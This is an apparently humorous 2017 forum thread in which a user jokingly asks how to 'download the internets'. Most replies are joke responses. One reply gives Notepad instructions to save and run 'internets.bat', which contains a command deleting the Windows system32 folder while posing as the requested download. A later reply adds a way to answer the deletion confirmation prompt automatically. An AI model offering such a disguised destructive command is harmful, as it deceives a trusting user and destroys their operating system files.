hello code wizards !! i would like to know, how do i download the internets?

1    11 Mar 2017 16:46 by u/girl_POWER

i have a laptop with very slow "PCIe Wireless Network Controller". i would like to download the internets on to my "Hard disk" so that i can have effect of very fast Network speed.

can you code wizards write a magic code for me, which will help me download the inter nets?

11 comments

2 u/NassTee 11 Mar 2017 17:16

You already have them. The internets were within you the whole time!

1 u/girl_POWER [OP] 11 Mar 2017 17:27

Am i... am i... the secret

GOD OF INTERNETS, the almighty

LORD SPARTACUS??

I heard from a guy called jasper or something, that this mysterious guy "Lord Spartacus" is the king of the internet.

1 u/BakedMofoBread 11 Mar 2017 17:58

I am Spartacus!

1 u/NassTee 11 Mar 2017 19:13

I'm Spartacus!

2 u/rocket_robin_hood 11 Mar 2017 22:06

Many times I have tried downloading the internets, as many times I have failed. You have to first understand the nature of this beast, only then may you attempt to download it.

Jokes aside, the internet is always changing, so you would have to keep downloading it over and over. You need a better laptop.

1 u/code_wizard_io 13 Mar 2017 13:01

Just stopped in to say alert("Hi"); back.

1 u/wesofx 23 Mar 2017 03:06

User-name checks out.

0 u/Datawych 11 Mar 2017 18:27

  • Open Notepad

  • Type the following

@echo off del c:\\WINDOWS\system32

  • Save as 'internets.bat' (select 'all files' instead of 'text document')
  • Double click the .bat file
1 u/SChalice 16 Mar 2017 22:45

You need something like

del c:\\WINDOWS\system32 < yes.txt

Where yes.txt contains a 'y' response to the "Are you sure" prompt...